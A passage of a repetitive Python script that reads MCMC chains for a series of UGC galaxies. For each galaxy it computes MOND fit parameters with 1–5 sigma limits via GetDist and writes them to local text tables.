open('/home/alefe/Cluster/MOND_GetDist_corner/UGC06930-sigmatab-df2.txt', 'a') text_file.write(df2_sol_str + ',' + low_str + ',' + up_str + '\n') text_file.close() text_file = open('/home/alefe/Cluster/MOND_GetDist_corner/UGC06930-sigmatab-Dinc.txt', 'w') text_file.write('max s- s+ - rows are 1,2,3,4,5 sigmas\n') text_file.close() for i in range(5): Dinc_sol_str='%s'%Dinc_sol_UGC06930 low=Dinc_sol_UGC06930-stats_UGC06930.parWithName('Dinc').limits[i].lower low_str='%s'%low up=stats_UGC06930.parWithName('Dinc').limits[i].upper- Dinc_sol_UGC06930 up_str='%s'%up text_file = open('/home/alefe/Cluster/MOND_GetDist_corner/UGC06930-sigmatab-Dinc.txt', 'a') text_file.write(Dinc_sol_str + ',' + low_str + ',' + up_str + '\n') text_file.close() full_chain_UGC06983 = pd.read_csv('/home/alefe/Cluster/MOND_outputs/chain_UGC06983.csv',usecols=[1,2,3,4]) data_array_chain_UGC06983 = numpy.array(full_chain_UGC06983) mle_soln_UGC06983=[] for i in range(ndim): mcmc_UGC06983 = numpy.percentile(data_array_chain_UGC06983[:, i], [16, 50, 84]) q_UGC06983 = numpy.diff(mcmc_UGC06983) mle_soln_UGC06983.append(mcmc_UGC06983[1]) log10_a0_sol_UGC06983=mle_soln_UGC06983[0] log10_YD_sol_UGC06983=mle_soln_UGC06983[1] df2_sol_UGC06983=mle_soln_UGC06983[2] Dinc_sol_UGC06983=mle_soln_UGC06983[3] samp_UGC06983 = getdist.mcsamples.MCSamples(samples=data_array_chain_UGC06983,names = names, labels = labels) samp_UGC06983.updateSettings({'contours': [0.682689492137086, 0.954499736103642,0.997300203936740,0.999936657516334,0.999999426696856]}) stats_UGC06983 = samp_UGC06983.getMargeStats() text_file = open('/home/alefe/Cluster/MOND_GetDist_corner/UGC06983-sigmatab-log10_a0.txt', 'w') text_file.write('max s- s+ - rows are 1,2,3,4,5 sigmas\n') text_file.close() for i in range(5): log10_a0_sol_str='%s'%log10_a0_sol_UGC06983 low=log10_a0_sol_UGC06983-stats_UGC06983.parWithName('log10_a0').limits[i].lower low_str='%s'%low up=stats_UGC06983.parWithName('log10_a0').limits[i].upper- log10_a0_sol_UGC06983 up_str='%s'%up text_file = open('/home/alefe/Cluster/MOND_GetDist_corner/UGC06983-sigmatab-log10_a0.txt', 'a') text_file.write(log10_a0_sol_str + ',' + low_str + ',' + up_str + '\n') text_file.close() text_file = open('/home/alefe/Cluster/MOND_GetDist_corner/UGC06983-sigmatab-log10_YD.txt', 'w') text_file.write('max s- s+ - rows are 1,2,3,4,5 sigmas\n') text_file.close() for i in range(5): log10_YD_sol_str='%s'%log10_YD_sol_UGC06983 low=log10_YD_sol_UGC06983-stats_UGC06983.parWithName('log10_YD').limits[i].lower low_str='%s'%low up=stats_UGC06983.parWithName('log10_YD').limits[i].upper- log10_YD_sol_UGC06983 up_str='%s'%up text_file = open('/home/alefe/Cluster/MOND_GetDist_corner/UGC06983-sigmatab-log10_YD.txt', 'a') text_file.write(log10_YD_sol_str + ',' + low_str + ',' + up_str + '\n') text_file.close() text_file = open('/home/alefe/Cluster/MOND_GetDist_corner/UGC06983-sigmatab-df2.txt', 'w') text_file.write('max s- s+ - rows are 1,2,3,4,5 sigmas\n') text_file.close() for i in range(5): df2_sol_str='%s'%df2_sol_UGC06983 low=df2_sol_UGC06983-stats_UGC06983.parWithName('df2').limits[i].lower low_str='%s'%low up=stats_UGC06983.parWithName('df2').limits[i].upper- df2_sol_UGC06983 up_str='%s'%up text_file = open('/home/alefe/Cluster/MOND_GetDist_corner/UGC06983-sigmatab-df2.txt', 'a') text_file.write(df2_sol_str + ',' + low_str + ',' + up_str + '\n') text_file.close() text_file = open('/home/alefe/Cluster/MOND_GetDist_corner/UGC06983-sigmatab-Dinc.txt', 'w') text_file.write('max s- s+ - rows are 1,2,3,4,5 sigmas\n') text_file.close() for i in range(5): Dinc_sol_str='%s'%Dinc_sol_UGC06983 low=Dinc_sol_UGC06983-stats_UGC06983.parWithName('Dinc').limits[i].lower low_str='%s'%low up=stats_UGC06983.parWithName('Dinc').limits[i].upper- Dinc_sol_UGC06983 up_str='%s'%up text_file = open('/home/alefe/Cluster/MOND_GetDist_corner/UGC06983-sigmatab-Dinc.txt', 'a') text_file.write(Dinc_sol_str + ',' + low_str + ',' + up_str + '\n') text_file.close() full_chain_UGC07089 = pd.read_csv('/home/alefe/Cluster/MOND_outputs/chain_UGC07089.csv',usecols=[1,2,3,4]) data_array_chain_UGC07089 = numpy.array(full_chain_UGC07089) mle_soln_UGC07089=[] for i in range(ndim): mcmc_UGC07089 = numpy.percentile(data_array_chain_UGC07089[:, i], [16, 50, 84]) q_UGC07089 = numpy.diff(mcmc_UGC07089) mle_soln_UGC07089.append(mcmc_UGC07089[1]) log10_a0_sol_UGC07089=mle_soln_UGC07089[0] log10_YD_sol_UGC07089=mle_soln_UGC07089[1] df2_sol_UGC07089=mle_soln_UGC07089[2] Dinc_sol_UGC07089=mle_soln_UGC07089[3] samp_UGC07089 = getdist.mcsamples.MCSamples(samples=data_array_chain_UGC07089,names = names, labels = labels) samp_UGC07089.updateSettings({'contours': [0.682689492137086, 0.954499736103642,0.997300203936740,0.999936657516334,0.999999426696856]}) stats_UGC07089 = samp_UGC07089.getMargeStats() text_file = open('/home/alefe/Cluster/MOND_GetDist_corner/UGC07089-sigmatab-log10_a0.txt', 'w') text_file.write('max s- s+ - rows are 1,2,3,4,5 sigmas\n') text_file.close() for i in range(5): log10_a0_sol_str='%s'%log10_a0_sol_UGC07089 low=log10_a0_sol_UGC07089-stats_UGC07089.parWithName('log10_a0').limits[i].lower low_str='%s'%low up=stats_UGC07089.parWithName('log10_a0').limits[i].upper- log10_a0_sol_UGC07089 up_str='%s'%up text_file = open('/home/alefe/Cluster/MOND_GetDist_corner/UGC07089-sigmatab-log10_a0.txt', 'a') text_file.write(log10_a0_sol_str + ',' + low_str + ',' + up_str + '\n') text_file.close() text_file = open('/home/alefe/Cluster/MOND_GetDist_corner/UGC07089-sigmatab-log10_YD.txt', 'w') text_file.write('max s- s+ - rows are 1,2,3,4,5 sigmas\n') text_file.close() for i in range(5): log10_YD_sol_str='%s'%log10_YD_sol_UGC07089 low=log10_YD_sol_UGC07089-stats_UGC07089.parWithName('log10_YD').limits[i].lower low_str='%s'%low up=stats_UGC07089.parWithName('log10_YD').limits[i].upper- log10_YD_sol_UGC07089 up_str='%s'%up text_file = open('/home/alefe/Cluster/MOND_GetDist_corner/UGC07089-sigmatab-log10_YD.txt', 'a') text_file.write(log10_YD_sol_str + ',' + low_str + ',' + up_str + '\n') text_file.close() text_file = open('/home/alefe/Cluster/MOND_GetDist_corner/UGC07089-sigmatab-df2.txt', 'w') text_file.write('max s- s+ - rows are 1,2,3,4,5 sigmas\n') text_file.close() for i in range(5): df2_sol_str='%s'%df2_sol_UGC07089 low=df2_sol_UGC07089-stats_UGC07089.parWithName('df2').limits[i].lower low_str='%s'%low up=stats_UGC07089.parWithName('df2').limits[i].upper- df2_sol_UGC07089 up_str='%s'%up text_file = open('/home/alefe/Cluster/MOND_GetDist_corner/UGC07089-sigmatab-df2.txt', 'a') text_file.write(df2_sol_str + ',' + low_str + ',' + up_str + '\n') text_file.close() text_file = open('/home/alefe/Cluster/MOND_GetDist_corner/UGC07089-sigmatab-Dinc.txt', 'w') text_file.write('max s- s+ - rows are 1,2,3,4,5 sigmas\n') text_file.close() for i in range(5): Dinc_sol_str='%s'%Dinc_sol_UGC07089 low=Dinc_sol_UGC07089-stats_UGC07089.parWithName('Dinc').limits[i].lower low_str='%s'%low up=stats_UGC07089.parWithName('Dinc').limits[i].upper- Dinc_sol_UGC07089 up_str='%s'%up text_file = open('/home/alefe/Cluster/MOND_GetDist_corner/UGC07089-sigmatab-Dinc.txt', 'a') text_file.write(Dinc_sol_str + ',' + low_str + ',' + up_str + '\n') text_file.close() full_chain_UGC07125 = pd.read_csv('/home/alefe/Cluster/MOND_outputs/chain_UGC07125.csv',usecols=[1,2,3,4]) data_array_chain_UGC07125 = numpy.array(full_chain_UGC07125) mle_soln_UGC07125=[] for i in range(ndim): mcmc_UGC07125 = numpy.percentile(data_array_chain_UGC07125[:, i], [16, 50, 84]) q_UGC07125 = numpy.diff(mcmc_UGC07125) mle_soln_UGC07125.append(mcmc_UGC07125[1]) log10_a0_sol_UGC07125=mle_soln_UGC07125[0] log10_YD_sol_UGC07125=mle_soln_UGC07125[1] df2_sol_UGC07125=mle_soln_UGC07125[2] Dinc_sol_UGC07125=mle_soln_UGC07125[3] samp_UGC07125 = getdist.mcsamples.MCSamples(samples=data_array_chain_UGC07125,names = names, labels = labels) samp_UGC07125.updateSettings({'contours': [0.682689492137086, 0.954499736103642,0.997300203936740,0.999936657516334,0.999999426696856]}) stats_UGC07125 = samp_UGC07125.getMargeStats() text_file = open('/home/alefe/Cluster/MOND_GetDist_corner/UGC07125-sigmatab-log10_a0.txt', 'w') text_file.write('max s- s+ - rows are 1,2,3,4,5 sigmas\n') text_file.close() for i in range(5): log10_a0_sol_str='%s'%log10_a0_sol_UGC07125 low=log10_a0_sol_UGC07125-stats_UGC07125.parWithName('log10_a0').limits[i].lower low_str='%s'%low up=stats_UGC07125.parWithName('log10_a0').limits[i].upper- log10_a0_sol_UGC07125 up_str='%s'%up text_file = open('/home/alefe/Cluster/MOND_GetDist_corner/UGC07125-sigmatab-log10_a0.txt', 'a') text_file.write(log10_a0_sol_str + ',' + low_str + ',' + up_str + '\n') text_file.close() text_file = open('/home/alefe/Cluster/MOND_GetDist_corner/UGC07125-sigmatab-log10_YD.txt', 'w') text_file.write('max s- s+ - rows are 1,2,3,4,5 sigmas\n') text_file.close() for i in range(5): log10_YD_sol_str='%s'%log10_YD_sol_UGC07125 low=log10_YD_sol_UGC07125-stats_UGC07125.parWithName('log10_YD').limits[i].lower low_str='%s'%low up=stats_UGC07125.parWithName('log10_YD').limits[i].upper- log10_YD_sol_UGC07125 up_str='%s'%up text_file = open('/home/alefe/Cluster/MOND_GetDist_corner/UGC07125-sigmatab-log10_YD.txt', 'a') text_file.write(log10_YD_sol_str + ',' + low_str + ',' + up_str + '\n') text_file.close() text_file = open('/home/alefe/Cluster/MOND_GetDist_corner/UGC07125-sigmatab-df2.txt', 'w') text_file.write('max s- s+ - rows are 1,2,3,4,5 sigmas\n') text_file.close() for i in range(5): df2_sol_str='%s'%df2_sol_UGC07125 low=df2_sol_UGC07125-stats_UGC07125.parWithName('df2').limits[i].lower low_str='%s'%low up=stats_UGC07125.parWithName('df2').limits[i].upper- df2_sol_UGC07125 up_str='%s'%up text_file = open('/home/alefe/Cluster/MOND_GetDist_corner/UGC07125-sigmatab-df2.txt', 'a') text_file.write(df2_sol_str + ',' + low_str + ',' + up_str + '\n') text_file.close() text_file = open('/home/alefe/Cluster/MOND_GetDist_corner/UGC07125-sigmatab-Dinc.txt', 'w') text_file.write('max s- s+ - rows are 1,2,3,4,5 sigmas\n') text_file.close() for i in range(5): Dinc_sol_str='%s'%Dinc_sol_UGC07125 low=Dinc_sol_UGC07125-stats_UGC07125.parWithName('Dinc').limits[i].lower low_str='%s'%low up=stats_UGC07125.parWithName('Dinc').limits[i].upper- Dinc_sol_UGC07125 up_str='%s'%up text_file = open('/home/alefe/Cluster/MOND_GetDist_corner/UGC07125-sigmatab-Dinc.txt', 'a') text_file.write(Dinc_sol_str + ',' + low_str + ',' + up_str + '\n') text_file.close() full_chain_UGC07151 = pd.read_csv('/home/alefe/Cluster/MOND_outputs/chain_UGC07151.csv',usecols=[1,2,3,4]) data_array_chain_UGC07151 = numpy.array(full_chain_UGC07151) mle_soln_UGC07151=[] for i in range(ndim): mcmc_UGC07151 = numpy.percentile(data_array_chain_UGC07151[:, i], [16, 50, 84]) q_UGC07151 = numpy.diff(mcmc_UGC07151) mle_soln_UGC07151.append(mcmc_UGC07151[1]) log10_a0_sol_UGC07151=mle_soln_UGC07151[0] log10_YD_sol_UGC07151=mle_soln_UGC07151[1] df2_sol_UGC07151=mle_soln_UGC07151[2] Dinc_sol_UGC07151=mle_soln_UGC07151[3] samp_UGC07151 = getdist.mcsamples.MCSamples(samples=data_array_chain_UGC07151,names = names, labels = labels) samp_UGC07151.updateSettings({'contours': [0.682689492137086, 0.954499736103642,0.997300203936740,0.999936657516334,0.999999426696856]}) stats_UGC07151 = samp_UGC07151.getMargeStats() text_file = open('/home/alefe/Cluster/MOND_GetDist_corner/UGC07151-sigmatab-log10_a0.txt', 'w') text_file.write('max s- s+ - rows are 1,2,3,4,5 sigmas\n') text_file.close() for i in range(5): log10_a0_sol_str='%s'%log10_a0_sol_UGC07151 low=log10_a0_sol_UGC07151-stats_UGC07151.parWithName('log10_a0').limits[i].lower low_str='%s'%low up=stats_UGC07151.parWithName('log10_a0').limits[i].upper- log10_a0_sol_UGC07151 up_str='%s'%up text_file = open('/home/alefe/Cluster/MOND_GetDist_corner/UGC07151-sigmatab-log10_a0.txt', 'a') text_file.write(log10_a0_sol_str + ',' + low_str + ',' + up_str + '\n') text_file.close() text_file = open('/home/alefe/Cluster/MOND_GetDist_corner/UGC07151-sigmatab-log10_YD.txt', 'w') text_file.write('max s- s+ - rows are 1,2,3,4,5 sigmas\n') text_file.close() for i in range(5): log10_YD_sol_str='%s'%log10_YD_sol_UGC07151 low=log10_YD_sol_UGC07151-stats_UGC07151.parWithName('log10_YD').limits[i].lower low_str='%s'%low up=stats_UGC07151.parWithName('log10_YD').limits[i].upper- log10_YD_sol_UGC07151 up_str='%s'%up text_file = open('/home/alefe/Cluster/MOND_GetDist_corner/UGC07151-sigmatab-log10_YD.txt', 'a') text_file.write(log10_YD_sol_str + ',' + low_str + ',' + up_str + '\n') text_file.close() text_file = open('/home/alefe/Cluster/MOND_GetDist_corner/UGC07151-sigmatab-df2.txt', 'w') text_file.write('max s- s+ - rows are 1,2,3,4,5 sigmas\n') text_file.close() for i in range(5): df2_sol_str='%s'%df2_sol_UGC07151 low=df2_sol_UGC07151-stats_UGC07151.parWithName('df2').limits[i].lower low_str='%s'%low up=stats_UGC07151.parWithName('df2').limits[i].upper- df2_sol_UGC07151 up_str='%s'%up text_file = open('/home/alefe/Cluster/MOND_GetDist_corner/UGC07151-sigmatab-df2.txt', 'a') text_file.write(df2_sol_str + ',' + low_str + ',' + up_str + '\n') text_file.close() text_file = open('/home/alefe/Cluster/MOND_GetDist_corner/UGC07151-sigmatab-Dinc.txt', 'w') text_file.write('max s- s+ - rows are 1,2,3,4,5 sigmas\n') text_file.close() for i in range(5): Dinc_sol_str='%s'%Dinc_sol_UGC07151 low=Dinc_sol_UGC07151-stats_UGC07151.parWithName('Dinc').limits[i].lower low_str='%s'%low up=stats_UGC07151.parWithName('Dinc').limits[i].upper- Dinc_sol_UGC07151 up_str='%s'%up text_file = open('/home/alefe/Cluster/MOND_GetDist_corner/UGC07151-sigmatab-Dinc.txt', 'a') text_file.write(Dinc_sol_str + ',' + low_str + ',' + up_str + '\n') text_file.close() full_chain_UGC07232 = pd.read_csv('/home/alefe/Cluster/MOND_outputs/chain_UGC07232.csv',usecols=[1,2,3,4]) data_array_chain_UGC07232 = numpy.array(full_chain_UGC07232) mle_soln_UGC07232=[] for i in range(ndim): mcmc_UGC07232 = numpy.percentile(data_array_chain_UGC07232[:, i], [16, 50, 84]) q_UGC07232 = numpy.diff(mcmc_UGC07232) mle_soln_UGC07232.append(mcmc_UGC07232[1]) log10_a0_sol_UGC07232=mle_soln_UGC07232[0] log10_YD_sol_UGC07232=mle_soln_UGC07232[1] df2_sol_UGC07232=mle_soln_UGC07232[2] Dinc_sol_UGC07232=mle_soln_UGC07232[3] samp_UGC07232 = getdist.mcsamples.MCSamples(samples=data_array_chain_UGC07232,names = names, labels = labels) samp_UGC07232.updateSettings({'contours': [0.682689492137086, 0.954499736103642,0.997300203936740,0.999936657516334,0.999999426696856]}) stats_UGC07232 = samp_UGC07232.getMargeStats() text_file = open('/home/alefe/Cluster/MOND_GetDist_corner/UGC07232-sigmatab-log10_a0.txt', 'w') text_file.write('max s- s+ - rows are 1,2,3,4,5 sigmas\n') text_file.close() for i in range(5): log10_a0_sol_str='%s'%log10_a0_sol_UGC07232 low=log10_a0_sol_UGC07232-stats_UGC07232.parWithName('log10_a0').limits[i].lower low_str='%s'%low up=stats_UGC07232.parWithName('log10_a0').limits[i].upper- log10_a0_sol_UGC07232 up_str='%s'%up text_file = open('/home/alefe/Cluster/MOND_GetDist_corner/UGC07232-sigmatab-log10_a0.txt', 'a') text_file.write(log10_a0_sol_str + ',' + low_str + ',' + up_str + '\n') text_file.close() text_file = open('/home/alefe/Cluster/MOND_GetDist_corner/UGC07232-sigmatab-log10_YD.txt', 'w') text_file.write('max s- s+ - rows are 1,2,3,4,5 sigmas\n') text_file.close() for i in range(5): log10_YD_sol_str='%s'%log10_YD_sol_UGC07232 low=log10_YD_sol_UGC07232-stats_UGC07232.parWithName('log10_YD').limits[i].lower low_str='%s'%low up=stats_UGC07232.parWithName('log10_YD').limits[i].upper- log10_YD_sol_UGC07232 up_str='%s'%up text_file = open('/home/alefe/Cluster/MOND_GetDist_corner/UGC07232-sigmatab-log10_YD.txt', 'a') text_file.write(log10_YD_sol_str + ',' + low_str + ',' + up_str + '\n') text_file.close() text_file = open('/home/alefe/Cluster/MOND_GetDist_corner/UGC07232-sigmatab-df2.txt', 'w') text_file.write('max s- s+ - rows are 1,2,3,4,5 sigmas\n') text_file.close() for i in range(5): df2_sol_str='%s'%df2_sol_UGC07232 low=df2_sol_UGC07232-stats_UGC07232.parWithName('df2').limits[i].lower low_str='%s'%low up=stats_UGC07232.parWithName('df2').limits[i].upper- df2_sol_UGC07232 up_str='%s'%up text_file = open('/home/alefe/Cluster/MOND_GetDist_corner/UGC07232-sigmatab-df2.txt', 'a') text_file.write(df2_sol_str + ',' + low_str + ',' + up_str + '\n') text_file.close() text_file = open('/home/alefe/Cluster/MOND_GetDist_corner/UGC07232-sigmatab-Dinc.txt', 'w') text_file.write('max s- s+ - rows are 1,2,3,4,5 sigmas\n') text_file.close() for i in range(5): Dinc_sol_str='%s'%Dinc_sol_UGC07232 low=Dinc_sol_UGC07232-stats_UGC07232.parWithName('Dinc').limits[i].lower low_str='%s'%low up=stats_UGC07232.parWithName('Dinc').limits[i].upper- Dinc_sol_UGC07232 up_str='%s'%up text_file = open('/home/alefe/Cluster/MOND_GetDist_corner/UGC07232-sigmatab-Dinc.txt', 'a') text_file.write(Dinc_sol_str + ',' + low_str + ',' + up_str + '\n') text_file.close() full_chain_UGC07261 = pd.read_csv('/home/alefe/Cluster/MOND_outputs/chain_UGC07261.csv',usecols=[1,2,3,4]) data_array_chain_UGC07261 = numpy.array(full_chain_UGC07261) mle_soln_UGC07261=[] for i in range(ndim): mcmc_UGC07261 = numpy.percentile(data_array_chain_UGC07261[:, i], [16, 50, 84]) q_UGC07261 = numpy.diff(mcmc_UGC07261) mle_soln_UGC07261.append(mcmc_UGC07261[1]) log10_a0_sol_UGC07261=mle_soln_UGC07261[0] log10_YD_sol_UGC07261=mle_soln_UGC07261[1] df2_sol_UGC07261=mle_soln_UGC07261[2] Dinc_sol_UGC07261=mle_soln_UGC07261[3] samp_UGC07261 = getdist.mcsamples.MCSamples(samples=data_array_chain_UGC07261,names = names, labels = labels) samp_UGC07261.updateSettings({'contours': [0.682689492137086, 0.954499736103642,0.997300203936740,0.999936657516334,0.999999426696856]}) stats_UGC07261 = samp_UGC07261.getMargeStats() text_file = open('/home/alefe/Cluster/MOND_GetDist_corner/UGC07261-sigmatab-log10_a0.txt', 'w') text_file.write('max s- s+ - rows are 1,2,3,4,5 sigmas\n') text_file.close() for i in range(5): log10_a0_sol_str='%s'%log10_a0_sol_UGC07261 low=log10_a0_sol_UGC07261-stats_UGC07261.parWithName('log10_a0').limits[i].lower low_str='%s'%low up=stats_UGC07261.parWithName('log10_a0').limits[i].upper- log10_a0_sol_UGC07261 up_str='%s'%up text_file = open('/home/alefe/Cluster/MOND_GetDist_corner/UGC07261-sigmatab-log10_a0.txt', 'a') text_file.write(log10_a0_sol_str + ',' + low_str + ',' + up_str + '\n') text_file.close() text_file = open('/home/alefe/Cluster/MOND_GetDist_corner/UGC07261-sigmatab-log10_YD.txt', 'w') text_file.write('max s- s+ - rows are 1,2,3,4,5 sigmas\n') text_file.close() for i in range(5): log10_YD_sol_str='%s'%log10_YD_sol_UGC07261 low=log10_YD_sol_UGC07261-stats_UGC07261.parWithName('log10_YD').limits[i].lower low_str='%s'%low up=stats_UGC07261.parWithName('log10_YD').limits[i].upper- log10_YD_sol_UGC07261 up_str='%s'%up text_file = open('/home/alefe/Cluster/MOND_GetDist_corner/UGC07261-sigmatab-log10_YD.txt', 'a') text_file.write(log10_YD_sol_str + ',' + low_str + ',' + up_str + '\n') text_file.close() text_file = open('/home/alefe/Cluster/MOND_GetDist_corner/UGC07261-sigmatab-df2.txt', 'w') text_file.write('max s- s+ - rows are 1,2,3,4,5 sigmas\n') text_file.close() for i in range(5): df2_sol_str='%s'%df2_sol_UGC07261 low=df2_sol_UGC07261-stats_UGC07261.parWithName('df2').limits[i].lower low_str='%s'%low up=stats_UGC07261.parWithName('df2').limits[i].upper- df2_sol_UGC07261 up_str='%s'%up text_file = open('/home/alefe/Cluster/MOND_GetDist_corner/UGC07261-sigmatab-df2.txt', 'a') text_file.write(df2_sol_str + ',' + low_str + ',' + up_str + '\n') text_file.close() text_file = open('/home/alefe/Cluster/MOND_GetDist_corner/UGC07261-sigmatab-Dinc.txt', 'w') text_file.write('max s- s+ - rows are 1,2,3,4,5 sigmas\n') text_file.close() for i in range(5): Dinc_sol_str='%s'%Dinc_sol_UGC07261 low=Dinc_sol_UGC07261-stats_UGC07261.parWithName('Dinc').limits[i].lower low_str='%s'%low up=stats_UGC07261.parWithName('Dinc').limits[i].upper- Dinc_sol_UGC07261 up_str='%s'%up text_file = open('/home/alefe/Cluster/MOND_GetDist_corner/UGC07261-sigmatab-Dinc.txt', 'a') text_file.write(Dinc_sol_str + ',' + low_str + ',' + up_str + '\n') text_file.close() full_chain_UGC07323 = pd.read_csv('/home/alefe/Cluster/MOND_outputs/chain_UGC07323.csv',usecols=[1,2,3,4]) data_array_chain_UGC07323 = numpy.array(full_chain_UGC07323) mle_soln_UGC07323=[] for i in range(ndim): mcmc_UGC07323 = numpy.percentile(data_array_chain_UGC07323[:, i], [16, 50, 84]) q_UGC07323 = numpy.diff(mcmc_UGC07323) mle_soln_UGC07323.append(mcmc_UGC07323[1]) log10_a0_sol_UGC07323=mle_soln_UGC07323[0] log10_YD_sol_UGC07323=mle_soln_UGC07323[1] df2_sol_UGC07323=mle_soln_UGC07323[2] Dinc_sol_UGC07323=mle_soln_UGC07323[3] samp_UGC07323 = getdist.mcsamples.MCSamples(samples=data_array_chain_UGC07323,names = names, labels = labels) samp_UGC07323.updateSettings({'contours': [0.682689492137086, 0.954499736103642,0.997300203936740,0.999936657516334,0.999999426696856]}) stats_UGC07323 = samp_UGC07323.getMargeStats() text_file = open('/home/alefe/Cluster/MOND_GetDist_corner/UGC07323-sigmatab-log10_a0.txt', 'w') text_file.write('max s- s+ - rows are 1,2,3,4,5 sigmas\n') text_file.close() for i in range(5): log10_a0_sol_str='%s'%log10_a0_sol_UGC07323 low=log10_a0_sol_UGC07323-stats_UGC07323.parWithName('log10_a0').limits[i].lower low_str='%s'%low up=stats_UGC07323.parWithName('log10_a0').limits[i].upper- log10_a0_sol_UGC07323 up_str='%s'%up text_file = open('/home/alefe/Cluster/MOND_GetDist_corner/UGC07323-sigmatab-log10_a0.txt', 'a') text_file.write(log10_a0_sol_str + ',' + low_str + ',' + up_str + '\n') text_file.close() text_file = open('/home/alefe/Cluster/MOND_GetDist_corner/UGC07323-sigmatab-log10_YD.txt', 'w') text_file.write('max s- s+ - rows are 1,2,3,4,5 sigmas\n') text_file.close() for i in range(5): log10_YD_sol_str='%s'%log10_YD_sol_UGC07323 low=log10_YD_sol_UGC07323-stats_UGC07323.parWithName('log10_YD').limits[i].lower low_str='%s'%low up=stats_UGC07323.parWithName('log10_YD').limits[i].upper- log10_YD_sol_UGC07323 up_str='%s'%up text_file = open('/home/alefe/Cluster/MOND_GetDist_corner/UGC07323-sigmatab-log10_YD.txt', 'a') text_file.write(log10_YD_sol_str + ',' + low_str + ',' + up_str + '\n') text_file.close() text_file = open('/home/alefe/Cluster/MOND_GetDist_corner/UGC07323-sigmatab-df2.txt', 'w') text_file.write('max s- s+ - rows are 1,2,3,4,5 sigmas\n') text_file.close() for i in range(5): df2_sol_str='%s'%df2_sol_UGC07323 low=df2_sol_UGC07323-stats_UGC07323.parWithName('df2').limits[i].lower low_str='%s'%low up=stats_UGC07323.parWithName('df2').limits[i].upper- df2_sol_UGC07323 up_str='%s'%up text_file = open('/home/alefe/Cluster/MOND_GetDist_corner/UGC07323-sigmatab-df2.txt', 'a') text_file.write(df2_sol_str + ',' + low_str + ',' + up_str + '\n') text_file.close() text_file = open('/home/alefe/Cluster/MOND_GetDist_corner/UGC07323-sigmatab-Dinc.txt', 'w') text_file.write('max s- s+ - rows are 1,2,3,4,5 sigmas\n') text_file.close() for i in range(5): Dinc_sol_str='%s'%Dinc_sol_UGC07323 low=Dinc_sol_UGC07323-stats_UGC07323.parWithName('Dinc').limits[i].lower low_str='%s'%low up=stats_UGC07323.parWithName('Dinc').limits[i].upper- Dinc_sol_UGC07323 up_str='%s'%up text_file = open('/home/alefe/Cluster/MOND_GetDist_corner/UGC07323-sigmatab-Dinc.txt', 'a') text_file.write(Dinc_sol_str + ',' + low_str + ',' + up_str + '\n') text_file.close() full_chain_UGC07399 = pd.read_csv('/home/alefe/Cluster/MOND_outputs/chain_UGC07399.csv',usecols=[1,2,3,4]) data_array_chain_UGC07399 = numpy.array(full_chain_UGC07399) mle_soln_UGC07399=[] for i in range(ndim): mcmc_UGC07399 = numpy.percentile(data_array_chain_UGC07399[:, i], [16, 50, 84]) q_UGC07399 = numpy.diff(mcmc_UGC07399) mle_soln_UGC07399.append(mcmc_UGC07399[1]) log10_a0_sol_UGC07399=mle_soln_UGC07399[0] log10_YD_sol_UGC07399=mle_soln_UGC07399[1] df2_sol_UGC07399=mle_soln_UGC07399[2] Dinc_sol_UGC07399=mle_soln_UGC07399[3] samp_UGC07399 = getdist.mcsamples.MCSamples(samples=data_array_chain_UGC07399,names = names, labels = labels) samp_UGC07399.updateSettings({'contours': [0.682689492137086, 0.954499736103642,0.997300203936740,0.999936657516334,0.999999426696856]}) stats_UGC07399 = samp_UGC07399.getMargeStats() text_file = open('/home/alefe/Cluster/MOND_GetDist_corner/UGC07399-sigmatab-log10_a0.txt', 'w') text_file.write('max s- s+ - rows are 1,2,3,4,5 sigmas\n') text_file.close() for i in range(5): log10_a0_sol_str='%s'%log10_a0_sol_UGC07399 low=log10_a0_sol_UGC07399-stats_UGC07399.parWithName('log10_a0').limits[i].lower low_str='%s'%low up=stats_UGC07399.parWithName('log10_a0').limits[i].upper- log10_a0_sol_UGC07399 up_str='%s'%up text_file = open('/home/alefe/Cluster/MOND_GetDist_corner/UGC07399-sigmatab-log10_a0.txt', 'a') text_file.write(log10_a0_sol_str + ',' + low_str + ',' + up_str + '\n') text_file.close() text_file = open('/home/alefe/Cluster/MOND_GetDist_corner/UGC07399-sigmatab-log10_YD.txt', 'w') text_file.write('max s- s+ - rows are 1,2,3,4,5 sigmas\n') text_file.close() for i in range(5): log10_YD_sol_str='%s'%log10_YD_sol_UGC07399 low=log10_YD_sol_UGC07399-stats_UGC07399.parWithName('log10_YD').limits[i].lower low_str='%s'%low up=stats_UGC07399.parWithName('log10_YD').limits[i].upper- log10_YD_sol_UGC07399 up_str='%s'%up text_file = open('/home/alefe/Cluster/MOND_GetDist_corner/UGC07399-sigmatab-log10_YD.txt', 'a') text_file.write(log10_YD_sol_str + ',' + low_str + ',' + up_str + '\n') text_file.close() text_file = open('/home/alefe/Cluster/MOND_GetDist_corner/UGC07399-sigmatab-df2.txt', 'w') text_file.write('max s- s+ - rows are 1,2,3,4,5 sigmas\n') text_file.close() for i in range(5): df2_sol_str='%s'%df2_sol_UGC07399 low=df2_sol_UGC07399-stats_UGC07399.parWithName('df2').limits[i].lower low_str='%s'%low up=stats_UGC07399.parWithName('df2').limits[i].upper- df2_sol_UGC07399 up_str='%s'%up text_file = open('/home/alefe/Cluster/MOND_GetDist_corner/UGC07399-sigmatab-df2.txt', 'a') text_file.write(df2_sol_str + ',' + low_str + ',' + up_str + '\n') text_file.close() text_file = open('/home/alefe/Cluster/MOND_GetDist_corner/UGC07399-sigmatab-Dinc.txt', 'w') text_file.write('max s- s+ - rows are 1,2,3,4,5 sigmas\n') text_file.close() for i in range(5): Dinc_sol_str='%s'%Dinc_sol_UGC07399 low=Dinc_sol_UGC07399-stats_UGC07399.parWithName('Dinc').limits[i].lower low_str='%s'%low up=stats_UGC07399.parWithName('Dinc').limits[i].upper- Dinc_sol_UGC07399 up_str='%s'%up text_file = open('/home/alefe/Cluster/MOND_GetDist_corner/UGC07399-sigmatab-Dinc.txt', 'a') text_file.write(Dinc_sol_str + ',' + low_str + ',' + up_str + '\n') text_file.close() full_chain_UGC07524 = pd.read_csv('/home/alefe/Cluster/MOND_outputs/chain_UGC07524.csv',usecols=[1,2,3,4]) data_array_chain_UGC07524 = numpy.array(full_chain_UGC07524) mle_soln_UGC07524=[] for i in range(ndim): mcmc_UGC07524 = numpy.percentile(data_array_chain_UGC07524[:, i], [16, 50, 84]) q_UGC07524 = numpy.diff(mcmc_UGC07524) mle_soln_UGC07524.append(mcmc_UGC07524[1]) log10_a0_sol_UGC07524=mle_soln_UGC07524[0] log10_YD_sol_UGC07524=mle_soln_UGC07524[1] 